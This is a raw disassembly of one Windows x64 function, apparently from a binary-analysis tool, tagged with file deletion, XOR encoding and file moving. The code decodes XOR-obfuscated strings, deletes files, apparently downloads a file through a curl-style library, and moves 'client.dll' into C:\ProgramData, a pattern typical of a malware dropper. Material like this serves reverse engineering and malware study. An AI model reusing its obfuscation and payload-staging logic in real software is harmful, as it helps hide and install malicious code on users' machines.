Function at 0x140004680
Capabilities:
Delete file
Encode data using xor
Move file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x178]
sub rsp, 0x270
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
mov rax, qword [0x14009d080]
xor rax, rsp
mov qword [rbp + 0x130], rax
xor ebx, ebx
movups xmm0, xmmword [0x140090e38]
movups xmmword [rsp + 0x48], xmm0
movsd xmm0, qword [0x140090e48]
movsd qword [rsp + 0x58], xmm0
movzx eax, word [0x140090e50]
mov word [rsp + 0x60], ax
lea esi, [rbx + 4]
lea r14d, [rbx + 0x1f]
mov edi, dword [reloc.WS2_32.dll_accept]
cmp byte [0x140090e51], bl
je 0x140004890
mov r8d, ebx
cmp edi, 2
jl 0x140004853
movdqa xmm5, xmmword [0x140091030]
movdqa xmm4, xmmword [0x1400912c0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140091050]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1400911f0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x4c]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400910a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400910a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140004750
cmp r8d, 0x1a
jge 0x140004890
movsxd rax, r8d
lea r9, [rsp + 0x48]
add r9, rax
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140004860
lea rcx, [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x1400048a7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [0x140090ff8]
mov word [rsp + 0x38], ax
movsd xmm0, qword [str.RZQ_B]
movzx eax, byte [0x140090ffa]
movsd qword [rsp + 0x30], xmm0
mov byte [rsp + 0x30], 0x63
xor byte [rsp + 0x31], 0x32
xor byte [rsp + 0x32], 0x33
xor byte [rsp + 0x33], 0x34
xor byte [rsp + 0x34], 0x35
xor byte [rsp + 0x35], 0x36
xor byte [rsp + 0x36], 0x37
xor byte [rsp + 0x37], 0x38
xor byte [rsp + 0x38], 0x39
xor byte [rsp + 0x39], 0x3a
xor al, 0x3b
mov byte [rsp + 0x3a], al
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x140004917
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [str.YFGD]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140090a50]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140090a60]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140090a70]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x140090a80]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x140090a90]
movups xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [0x140090aa0]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140090ab0]
movups xmmword [rbp - 0x20], xmm1
movsd xmm0, qword [0x140090ac0]
movsd qword [rbp - 0x10], xmm0
movzx eax, word [0x140090ac8]
mov word [rbp - 8], ax
mov r8d, ebx
cmp edi, 2
jl 0x140004ad9
movdqa xmm5, xmmword [0x140091030]
movdqa xmm4, xmmword [0x1400912c0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140091050]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1400911f0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400910a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400910a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x1400049d0
cmp r8d, 0x8a
jge 0x140004b23
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8a
jl 0x140004af0
mov dword [rsp + 0x30], 0x363b3d33
mov dword [rsp + 0x34], 0x3378213a
mov dword [rsp + 0x38], 0x1003534
nop dword [rax + rax]
lea eax, [rbx + 0x50]
xor byte [rsp + rbx + 0x30], al
inc rbx
cmp rbx, 0xa
jb 0x140004b40
mov byte [rsp + 0x3b], 0
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x3a]
lea rdx, [rsp + 0x30]
lea rcx, [rbp]
call fcn.14001b100
nop
call fcn.14001bfc0
mov rbx, rax
test rax, rax
je 0x140004c60
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
lea rcx, [rbp + 0x20]
call fcn.14001a180
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x20], rax
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x1c], edx
cmp qword [rbp + 0xa8], 0
jne 0x140004be5
lea rcx, [rbp + 0x20]
call fcn.140004d00
jmp 0x140004c7f
lea r8, [rsp + 0x70]
mov edx, 0x2712
mov rcx, rbx
call fcn.14001e7c0
lea r8, [0x140004650]
mov edx, 0x4e2b
mov rcx, rbx
call fcn.14001e7c0
lea r8, [rbp + 0x20]
mov edx, 0x2711
mov rcx, rbx
call fcn.14001e7c0
mov rcx, rbx
call fcn.14001c080
lea rcx, [rbp + 0x28]
call fcn.14001a0c0
test rax, rax
jne 0x140004c4e
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x20]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call fcn.14001bfa0
nop
lea rcx, [rbp + 0x20]
call fcn.140004d00
lea rdx, str.C:ProgramDataclient.dll
lea rcx, str.client.dll
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x140004c7f
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140004cbd
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004cb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004cb8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007d7e4
mov al, 1
mov rcx, qword [rbp + 0x130]
xor rcx, rsp
call fcn.14007d530
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop rbp
ret